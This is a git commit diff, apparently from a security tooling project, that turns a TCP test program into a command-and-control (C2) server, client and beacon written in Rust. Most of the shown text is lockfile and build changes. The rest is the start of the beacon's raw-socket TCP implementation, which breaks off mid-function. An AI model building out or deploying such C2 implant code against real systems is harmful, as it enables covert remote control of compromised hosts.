took the tcp-test code and made a C2 server/beacon

This commit is contained in:
Andrew Rioux 2023-12-05 09:33:06 -05:00
parent 8c0ae083fe
commit 56f39ad64c
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
12 changed files with 1350 additions and 110 deletions

361
Cargo.lock generated
View File

@ -71,6 +71,21 @@ dependencies = [
"opaque-debug", "opaque-debug",
] ]
[[package]]
name = "android-tzdata"
version = "0.1.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
[[package]]
name = "android_system_properties"
version = "0.1.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
dependencies = [
"libc",
]
[[package]] [[package]]
name = "ansi_term" name = "ansi_term"
version = "0.12.1" version = "0.12.1"
@ -148,6 +163,12 @@ dependencies = [
"generic-array", "generic-array",
] ]
[[package]]
name = "bumpalo"
version = "3.14.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec"
[[package]] [[package]]
name = "byteorder" name = "byteorder"
version = "1.4.3" version = "1.4.3"
@ -178,6 +199,21 @@ version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
[[package]]
name = "chrono"
version = "0.4.31"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38"
dependencies = [
"android-tzdata",
"iana-time-zone",
"js-sys",
"num-traits",
"serde",
"wasm-bindgen",
"windows-targets",
]
[[package]] [[package]]
name = "cipher" name = "cipher"
version = "0.2.5" version = "0.2.5"
@ -222,6 +258,12 @@ dependencies = [
"winapi", "winapi",
] ]
[[package]]
name = "core-foundation-sys"
version = "0.8.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f"
[[package]] [[package]]
name = "cpufeatures" name = "cpufeatures"
version = "0.2.7" version = "0.2.7"
@ -361,7 +403,7 @@ checksum = "136526188508e25c6fef639d7927dfb3e0e3084488bf202267829cf7fc23dbdd"
dependencies = [ dependencies = [
"errno-dragonfly", "errno-dragonfly",
"libc", "libc",
"windows-sys 0.48.0", "windows-sys",
] ]
[[package]] [[package]]
@ -623,12 +665,44 @@ dependencies = [
"digest", "digest",
] ]
[[package]]
name = "iana-time-zone"
version = "0.1.58"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20"
dependencies = [
"android_system_properties",
"core-foundation-sys",
"iana-time-zone-haiku",
"js-sys",
"wasm-bindgen",
"windows-core",
]
[[package]]
name = "iana-time-zone-haiku"
version = "0.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
dependencies = [
"cc",
]
[[package]] [[package]]
name = "itoa" name = "itoa"
version = "1.0.6" version = "1.0.6"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6" checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6"
[[package]]
name = "js-sys"
version = "0.3.66"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca"
dependencies = [
"wasm-bindgen",
]
[[package]] [[package]]
name = "lazy_static" name = "lazy_static"
version = "1.4.0" version = "1.4.0"
@ -637,9 +711,9 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
[[package]] [[package]]
name = "libc" name = "libc"
version = "0.2.148" version = "0.2.150"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9cdc71e17332e86d2e1d38c1f99edcb6288ee11b815fb1a4b049eaa2114d369b" checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c"
[[package]] [[package]]
name = "linux-raw-sys" name = "linux-raw-sys"
@ -683,14 +757,24 @@ dependencies = [
[[package]] [[package]]
name = "mio" name = "mio"
version = "0.8.6" version = "0.8.9"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9" checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0"
dependencies = [ dependencies = [
"libc", "libc",
"log",
"wasi 0.11.0+wasi-snapshot-preview1", "wasi 0.11.0+wasi-snapshot-preview1",
"windows-sys 0.45.0", "windows-sys",
]
[[package]]
name = "nix"
version = "0.27.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053"
dependencies = [
"bitflags 2.4.0",
"cfg-if",
"libc",
] ]
[[package]] [[package]]
@ -739,6 +823,12 @@ dependencies = [
"memchr", "memchr",
] ]
[[package]]
name = "once_cell"
version = "1.18.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d"
[[package]] [[package]]
name = "opaque-debug" name = "opaque-debug"
version = "0.3.0" version = "0.3.0"
@ -769,7 +859,7 @@ dependencies = [
"libc", "libc",
"redox_syscall", "redox_syscall",
"smallvec", "smallvec",
"windows-targets 0.48.0", "windows-targets",
] ]
[[package]] [[package]]
@ -1053,9 +1143,15 @@ dependencies = [
"errno 0.3.3", "errno 0.3.3",
"libc", "libc",
"linux-raw-sys", "linux-raw-sys",
"windows-sys 0.48.0", "windows-sys",
] ]
[[package]]
name = "ryu"
version = "1.0.15"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741"
[[package]] [[package]]
name = "scopeguard" name = "scopeguard"
version = "1.2.0" version = "1.2.0"
@ -1079,9 +1175,9 @@ checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3"
[[package]] [[package]]
name = "serde" name = "serde"
version = "1.0.188" version = "1.0.193"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cf9e0fcba69a370eed61bcf2b728575f726b50b55cba78064753d708ddc7549e" checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89"
dependencies = [ dependencies = [
"serde_derive", "serde_derive",
] ]
@ -1097,15 +1193,26 @@ dependencies = [
[[package]] [[package]]
name = "serde_derive" name = "serde_derive"
version = "1.0.188" version = "1.0.193"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3"
dependencies = [ dependencies = [
"proc-macro2 1.0.66", "proc-macro2 1.0.66",
"quote 1.0.33", "quote 1.0.33",
"syn 2.0.29", "syn 2.0.29",
] ]
[[package]]
name = "serde_json"
version = "1.0.108"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b"
dependencies = [
"itoa",
"ryu",
"serde",
]
[[package]] [[package]]
name = "serde_repr" name = "serde_repr"
version = "0.1.16" version = "0.1.16"
@ -1147,14 +1254,14 @@ checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c"
[[package]] [[package]]
name = "simple_logger" name = "simple_logger"
version = "4.2.0" version = "4.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2230cd5c29b815c9b699fb610b49a5ed65588f3509d9f0108be3a885da629333" checksum = "da0ca6504625ee1aa5fda33913d2005eab98c7a42dd85f116ecce3ff54c9d3ef"
dependencies = [ dependencies = [
"colored", "colored",
"log", "log",
"time", "time",
"windows-sys 0.42.0", "windows-sys",
] ]
[[package]] [[package]]
@ -1174,12 +1281,12 @@ checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9"
[[package]] [[package]]
name = "socket2" name = "socket2"
version = "0.5.3" version = "0.5.5"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877" checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9"
dependencies = [ dependencies = [
"libc", "libc",
"windows-sys 0.48.0", "windows-sys",
] ]
[[package]] [[package]]
@ -1232,6 +1339,60 @@ dependencies = [
"sparse-05-common", "sparse-05-common",
] ]
[[package]]
name = "sparse-c2-beacon"
version = "0.1.0"
dependencies = [
"anyhow",
"catconf",
"libc",
"log",
"nl-sys",
"packets",
"pcap-sys",
"rand 0.8.5",
"ringbuf",
"serde",
"serde_json",
"simple_logger",
"sparse-c2-messages",
"tokio",
"tokio-stream",
]
[[package]]
name = "sparse-c2-client"
version = "0.1.0"
dependencies = [
"anyhow",
"serde_json",
"sparse-c2-messages",
"structopt",
"tokio",
]
[[package]]
name = "sparse-c2-messages"
version = "0.1.0"
dependencies = [
"chrono",
"serde",
]
[[package]]
name = "sparse-c2-server"
version = "0.1.0"
dependencies = [
"anyhow",
"chrono",
"log",
"nix",
"serde_json",
"simple_logger",
"sparse-c2-messages",
"tokio",
]
[[package]] [[package]]
name = "sparse-protocol" name = "sparse-protocol"
version = "0.1.0" version = "0.1.0"
@ -1336,7 +1497,7 @@ dependencies = [
"fastrand", "fastrand",
"redox_syscall", "redox_syscall",
"rustix", "rustix",
"windows-sys 0.48.0", "windows-sys",
] ]
[[package]] [[package]]
@ -1399,9 +1560,9 @@ dependencies = [
[[package]] [[package]]
name = "tokio" name = "tokio"
version = "1.32.0" version = "1.34.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" checksum = "d0c014766411e834f7af5b8f4cf46257aab4036ca95e9d2c144a10f59ad6f5b9"
dependencies = [ dependencies = [
"backtrace", "backtrace",
"bytes", "bytes",
@ -1413,14 +1574,14 @@ dependencies = [
"signal-hook-registry", "signal-hook-registry",
"socket2", "socket2",
"tokio-macros", "tokio-macros",
"windows-sys 0.48.0", "windows-sys",
] ]
[[package]] [[package]]
name = "tokio-macros" name = "tokio-macros"
version = "2.1.0" version = "2.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b"
dependencies = [ dependencies = [
"proc-macro2 1.0.66", "proc-macro2 1.0.66",
"quote 1.0.33", "quote 1.0.33",
@ -1522,6 +1683,60 @@ version = "0.11.0+wasi-snapshot-preview1"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
[[package]]
name = "wasm-bindgen"
version = "0.2.89"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e"
dependencies = [
"cfg-if",
"wasm-bindgen-macro",
]
[[package]]
name = "wasm-bindgen-backend"
version = "0.2.89"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826"
dependencies = [
"bumpalo",
"log",
"once_cell",
"proc-macro2 1.0.66",
"quote 1.0.33",
"syn 2.0.29",
"wasm-bindgen-shared",
]
[[package]]
name = "wasm-bindgen-macro"
version = "0.2.89"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2"
dependencies = [
"quote 1.0.33",
"wasm-bindgen-macro-support",
]
[[package]]
name = "wasm-bindgen-macro-support"
version = "0.2.89"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283"
dependencies = [
"proc-macro2 1.0.66",
"quote 1.0.33",
"syn 2.0.29",
"wasm-bindgen-backend",
"wasm-bindgen-shared",
]
[[package]]
name = "wasm-bindgen-shared"
version = "0.2.89"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f"
[[package]] [[package]]
name = "winapi" name = "winapi"
version = "0.3.9" version = "0.3.9"
@ -1545,27 +1760,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
[[package]] [[package]]
name = "windows-sys" name = "windows-core"
version = "0.42.0" version = "0.50.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" checksum = "af6041b3f84485c21b57acdc0fee4f4f0c93f426053dc05fa5d6fc262537bbff"
dependencies = [ dependencies = [
"windows_aarch64_gnullvm 0.42.2", "windows-targets",
"windows_aarch64_msvc 0.42.2",
"windows_i686_gnu 0.42.2",
"windows_i686_msvc 0.42.2",
"windows_x86_64_gnu 0.42.2",
"windows_x86_64_gnullvm 0.42.2",
"windows_x86_64_msvc 0.42.2",
]
[[package]]
name = "windows-sys"
version = "0.45.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
dependencies = [
"windows-targets 0.42.2",
] ]
[[package]] [[package]]
@ -1574,22 +1774,7 @@ version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
dependencies = [ dependencies = [
"windows-targets 0.48.0", "windows-targets",
]
[[package]]
name = "windows-targets"
version = "0.42.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
dependencies = [
"windows_aarch64_gnullvm 0.42.2",
"windows_aarch64_msvc 0.42.2",
"windows_i686_gnu 0.42.2",
"windows_i686_msvc 0.42.2",
"windows_x86_64_gnu 0.42.2",
"windows_x86_64_gnullvm 0.42.2",
"windows_x86_64_msvc 0.42.2",
] ]
[[package]] [[package]]
@ -1598,93 +1783,51 @@ version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5" checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5"
dependencies = [ dependencies = [
"windows_aarch64_gnullvm 0.48.0", "windows_aarch64_gnullvm",
"windows_aarch64_msvc 0.48.0", "windows_aarch64_msvc",
"windows_i686_gnu 0.48.0", "windows_i686_gnu",
"windows_i686_msvc 0.48.0", "windows_i686_msvc",
"windows_x86_64_gnu 0.48.0", "windows_x86_64_gnu",
"windows_x86_64_gnullvm 0.48.0", "windows_x86_64_gnullvm",
"windows_x86_64_msvc 0.48.0", "windows_x86_64_msvc",
] ]
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.42.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
[[package]] [[package]]
name = "windows_aarch64_gnullvm" name = "windows_aarch64_gnullvm"
version = "0.48.0" version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc"
[[package]]
name = "windows_aarch64_msvc"
version = "0.42.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
[[package]] [[package]]
name = "windows_aarch64_msvc" name = "windows_aarch64_msvc"
version = "0.48.0" version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3"
[[package]]
name = "windows_i686_gnu"
version = "0.42.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
[[package]] [[package]]
name = "windows_i686_gnu" name = "windows_i686_gnu"
version = "0.48.0" version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241"
[[package]]
name = "windows_i686_msvc"
version = "0.42.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
[[package]] [[package]]
name = "windows_i686_msvc" name = "windows_i686_msvc"
version = "0.48.0" version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00"
[[package]]
name = "windows_x86_64_gnu"
version = "0.42.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
[[package]] [[package]]
name = "windows_x86_64_gnu" name = "windows_x86_64_gnu"
version = "0.48.0" version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1"
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.42.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
[[package]] [[package]]
name = "windows_x86_64_gnullvm" name = "windows_x86_64_gnullvm"
version = "0.48.0" version = "0.48.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953"
[[package]]
name = "windows_x86_64_msvc"
version = "0.42.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
[[package]] [[package]]
name = "windows_x86_64_msvc" name = "windows_x86_64_msvc"
version = "0.48.0" version = "0.48.0"

View File

@ -5,6 +5,7 @@ members = [
"examples/*/*", "examples/*/*",
"sparse-protocol", "sparse-protocol",
"sparse-05/*", "sparse-05/*",
"sparse-c2/*",
"tcp-test/client" "tcp-test/client"
] ]
resolver = "2" resolver = "2"

View File

@ -34,6 +34,14 @@ script = [
"docker-compose run --entrypoint=setcap build cap_net_raw=eip /workspaces/sparse/target/debug/tcp-test" "docker-compose run --entrypoint=setcap build cap_net_raw=eip /workspaces/sparse/target/debug/tcp-test"
] ]
[tasks.sparse-c2]
workspace = false
script = [
"docker-compose run build build --bin sparse-c2-beacon ${@}",
"docker-compose run build build --bin sparse-c2-server ${@}",
"docker-compose run build build --bin sparse-c2-client ${@}",
]
[tasks.run-tcp-test] [tasks.run-tcp-test]
workspace = false workspace = false
dependencies = ["tcp-test"] dependencies = ["tcp-test"]

View File

@ -0,0 +1,24 @@
[package]
name = "sparse-c2-beacon"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
pcap-sys = { path = "../../pcap-sys" }
packets = { path = "../../packets" }
nl-sys = { path = "../../nl-sys" }
sparse-c2-messages = { path = "../sparse-c2-messages" }
rand = "0.8.5"
tokio = { version = "1.32.0", features = ["full"] }
anyhow = "1.0.75"
tokio-stream = { version = "0.1.14", features = ["full"] }
#smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] }
libc = "0.2.148"
log = { version = "0.4.20", features = [ "kv_unstable" ] }
simple_logger = "4.2.0"
ringbuf = "0.3.3"
serde = { version = "1.0.193", features = ["derive"] }
serde_json = "1.0.108"
catconf = "0.1.2"

View File

@ -0,0 +1,575 @@
use std::{
collections::VecDeque,
mem::MaybeUninit,
net::{Ipv4Addr, SocketAddr},
process::Stdio,
time::{Duration, Instant},
};
use anyhow::{anyhow, bail, Context};
use ringbuf::LocalRb;
use tokio::{
io::Stdout,
process::Command,
sync::mpsc,
task,
time::{sleep, sleep_until},
};
use tokio_stream::StreamExt;
use nl_sys::{netlink, route};
use packets::{
self, ARPMode, ARPPacket, ARPProto, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet,
Layer3Pkt, Layer4Packet, Layer4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt,
};
use pcap_sys;
use sparse_c2_messages::{BeaconCommand, BeaconOptions};
struct PeerInfo {
remote_addr: Ipv4Addr,
remote_port: u16,
local_addr: Ipv4Addr,
local_port: u16,
}
enum Timeout {
Idle { heartbeat: Option<Instant> },
Retransmit {},
}
#[derive(Default)]
struct TcpSocket {
tx_buffer: LocalRb<u8, [MaybeUninit<u8>; 65536]>,
rx_buffer: LocalRb<u8, [MaybeUninit<u8>; 65536]>,
first_ack: u32,
first_rack: u32,
local_seq_no: u32,
remote_seq_no: u32,
remote_last_ack: Option<u32>,
remote_last_win: u16,
local_rx_last_seq: Option<u32>,
local_rx_last_ack: Option<u32>,
state: TcpState,
peer_info: Option<PeerInfo>,
retransmit_timeout: Option<Duration>,
last_packet_received: Option<Instant>,
}
impl TcpSocket {}
#[derive(Default, Debug, Clone, Copy)]
enum TcpState {
Listen,
SynSent,
SynReceived,
Established,
FinWait1,
FinWait2,
CloseWait,
Closing,
LastAck,
TimeWait,
#[default]
Closed,
}
enum TcpOptions {
EndOfList,
NoOp,
MaxSegmentSize(u16),
}
impl TcpOptions {
fn get_bytes(&self) -> Vec<u8> {
match self {
Self::EndOfList => vec![0x00],
Self::NoOp => vec![0x01],
Self::MaxSegmentSize(size) => [&[0x02, 0x04][..], &size.to_be_bytes()].concat(),
}
}
}
fn socket_accepts_packet(socket: &TcpSocket, ip: &IPv4Pkt<'_>, tcp: &TCPPkt<'_>) -> bool {
if let Some(peer) = &socket.peer_info {
peer.local_addr == ip.dest_ip()
&& peer.remote_addr == ip.source_ip()
&& peer.local_port == tcp.dstport()
&& peer.remote_port == tcp.srcport()
} else {
false
}
}
async fn connect(
socket: &mut TcpSocket,
remote_addr: Ipv4Addr,
remote_port: u16,
local_addr: Ipv4Addr,
send_state_changed: &mpsc::Sender<TcpState>,
) -> (u16, TCPPacket) {
socket.state = TcpState::SynSent;
let local_port: u16 = loop {
let port = rand::random();
if port > 40000 {
break port;
}
};
let _ = send_state_changed.send(TcpState::SynSent).await;
socket.peer_info = Some(PeerInfo {
remote_addr,
remote_port,
local_addr,
local_port,
});
socket.local_seq_no = rand::random();
socket.first_ack = socket.local_seq_no;
let packet = TCPPacketBuilder::default()
.srcport(local_port)
.dstport(remote_port)
.syn(true)
.window(64240)
.seqnumber(socket.local_seq_no)
//.options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat())
.build(local_addr, remote_addr, vec![], None);
(local_port, packet)
}
fn process_timeout(socket: &mut TcpSocket) -> anyhow::Result<Option<(TCPPacketBuilder, Vec<u8>)>> {
Ok(None)
}
async fn process_packet(
socket: &mut TcpSocket,
packet: TCPPkt<'_>,
send_state_changed: &mpsc::Sender<TcpState>,
) -> anyhow::Result<(Vec<(TCPPacketBuilder, Vec<u8>)>, Option<Vec<u8>>)> {
match (&socket.state, &socket.peer_info) {
(TcpState::SynSent, Some(peer)) if packet.ack() && packet.syn() => {
log::debug!("established connection with peer");
socket.remote_last_ack = Some(socket.local_seq_no);
socket.remote_seq_no = packet.seqnumber() + 1;
socket.remote_last_win = packet.window();
socket.first_rack = packet.seqnumber();
socket.local_seq_no += 1;
let tcppacketbuilder = TCPPacketBuilder::default()
.srcport(peer.local_port)
.dstport(peer.remote_port)
.ack(true)
.window(512)
.acknumber(socket.remote_seq_no)
.seqnumber(socket.local_seq_no);
socket.state = TcpState::Established;
let _ = send_state_changed.send(TcpState::Established).await;
Ok((vec![(tcppacketbuilder, vec![])], None))
}
(TcpState::Established, Some(peer)) if packet.fin() => {
log::debug!("Received fin!");
socket.remote_last_ack = Some(socket.local_seq_no);
socket.remote_last_win = packet.window();
socket.remote_seq_no += 1;
socket.state = TcpState::CloseWait;
let _ = send_state_changed.send(TcpState::CloseWait).await;
let ackbuilder = TCPPacketBuilder::default()
.srcport(peer.local_port)
.dstport(peer.remote_port)
.ack(true)
.window(512)
.acknumber(socket.remote_seq_no)
.seqnumber(socket.local_seq_no);
socket.local_seq_no += 1;
let _ = send_state_changed.send(TcpState::Closed).await;
let finbuilder = TCPPacketBuilder::default()
.srcport(peer.local_port)
.dstport(peer.remote_port)
.ack(true)
.window(512)
.acknumber(socket.remote_seq_no)
.seqnumber(socket.local_seq_no);
Ok((vec![(ackbuilder, vec![]), (finbuilder, vec![])], None))
}
(TcpState::Established, Some(peer)) if packet.ack() => {
log::debug!("received packet from server",);
socket.remote_last_ack = Some(socket.local_seq_no);
socket.remote_last_win = packet.window();
socket.remote_seq_no += (packet.data().len() & 0xFFFFFFFF) as u32;
let tcppacketbuilder = TCPPacketBuilder::default()
.srcport(peer.local_port)
.dstport(peer.remote_port)
.ack(true)
.window(512)
.acknumber(socket.remote_seq_no)
.seqnumber(socket.local_seq_no);
if !packet.data().is_empty() {
log::debug!("received data: {:?}", packet.data());
}
Ok((
vec![(tcppacketbuilder, vec![])],
Some(packet.data().to_owned()),
))
}
(TcpState::FinWait1, _) if packet.ack() => {
socket.state = TcpState::FinWait2;
let _ = send_state_changed.send(TcpState::FinWait2).await;
Ok((vec![], None))
}
(TcpState::FinWait2, Some(peer)) if packet.fin() => {
socket.state = TcpState::Closed;
let _ = send_state_changed.send(TcpState::Closed).await;
socket.remote_last_ack = Some(socket.local_seq_no);
socket.remote_seq_no = packet.seqnumber() + 1;
socket.remote_last_win = packet.window();
socket.local_seq_no += 1;
let tcppacketbuilder = TCPPacketBuilder::default()
.srcport(peer.local_port)
.dstport(peer.remote_port)
.ack(true)
.window(512)
.acknumber(socket.remote_seq_no)
.seqnumber(socket.local_seq_no);
Ok((vec![(tcppacketbuilder, vec![])], None))
}
_ => Ok((vec![], None)),
}
}
fn resp_tcp(incoming: &TCPPkt<'_>) -> TCPPacketBuilder {
TCPPacketBuilder::default()
.srcport(incoming.dstport())
.dstport(incoming.srcport())
}
fn seq_tcp(socket: &TcpSocket, mut builder: TCPPacketBuilder) -> TCPPacketBuilder {
builder
}
fn recv_data(socket: &mut TcpSocket, data: &mut [u8]) -> anyhow::Result<usize> {
let (mut prod, mut cons) = socket.tx_buffer.split_ref();
let bytes_read = cons.pop_slice(data);
socket.remote_seq_no += (bytes_read & 0xFFFFFFFF) as u32;
Ok(bytes_read)
}
fn send_data(
socket: &mut TcpSocket,
data: Vec<u8>,
) -> anyhow::Result<Vec<(TCPPacketBuilder, Vec<u8>)>> {
let (mut prod, cons) = socket.tx_buffer.split_ref();
if cons.is_empty() {
_ = prod.push_iter(&mut data.into_iter());
Ok(vec![])
} else {
